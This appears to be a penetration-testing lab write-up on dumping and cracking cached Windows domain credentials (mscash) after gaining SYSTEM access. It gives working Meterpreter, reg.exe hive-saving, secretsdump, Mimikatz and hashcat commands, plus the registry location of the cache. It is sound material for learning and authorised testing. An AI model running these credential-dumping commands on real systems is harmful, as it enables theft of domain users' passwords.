Dumping and Cracking mscash - Cached Domain Credentials

This lab focuses on dumping and cracking mscash hashes after SYSTEM level privileges has been obtained on a compromised machine.
Mscash is a Microsoft hashing algorithm that is used for storing cached domain credentials locally on a system after a successful logon. It's worth noting that cached credentials do not expire. Domain credentials are cached on a local system so that domain members can logon to the machine even if the DC is down. It's worth noting that mscash hash is not passable - i.e PTH attacks will not work.
Execution
Meterpreter
Note that in meterpreter session, hashdump only dumps the local SAM account hashes:
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hashdump
To dump cached domain credentials in mscash format, use a post exploitation module cachedump:
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getuid
getsystem
use post/windows/gather/cachedump
run
Secretsdump
Impacket's secrestdump tool allows us to dump all the credentials that are stored in registry hives SAM, SECURITY and SYSTEM, so firstly, we need to write those out:
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reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save
Once the hives are retrieved, they can can be pulled back to kali linux to extract the hashes:
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secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Mimikatz
lsadump::cache
Cracking mscash / mscache with HashCat
To crack mscache with hashcat, it should be in the following format:
$DCC2$10240#username#hash
Meterpreter's cachedump module's output cannot be used in hashcat directly, but it's easy to do it.
Below shows the original output format from cachedump and the format accepted by hashcat:
echo ; cat hashes.txt ; echo ; cut -d ":" -f 2 hashes.txt
Let's try cracking it with hashchat now:
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hashcat -m2100 '$DCC2$10240#spot#3407de6ff2f044ab21711a394d85f3b8' /usr/share/wordlists/rockyou.txt --force --potfile-disable
Where Are Domain Credentials Cached
This can be seen via regedit (running with SYSTEM privileges) in the following key:
HKEY_LOCAL_MACHINE\SECURITY\Cache
NL$1..10 are the cached hashes for 10 previously logged users:
By nulling out the Data fields one could remove the credentials from cache. Once cached credentials are removed, if no DC is present, a user trying to authenticate to the system will see:
References
MSCash Hash Primer for Pentesters
WebstersProdigy
https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/
www.securusglobal.com
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Dumping LSA Secrets

Dumping Domain Controller Hashes Locally and Remotely

Last modified 3yr ago

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Execution

Meterpreter

Secretsdump

Mimikatz

Cracking mscash / mscache with HashCat

Where Are Domain Credentials Cached

References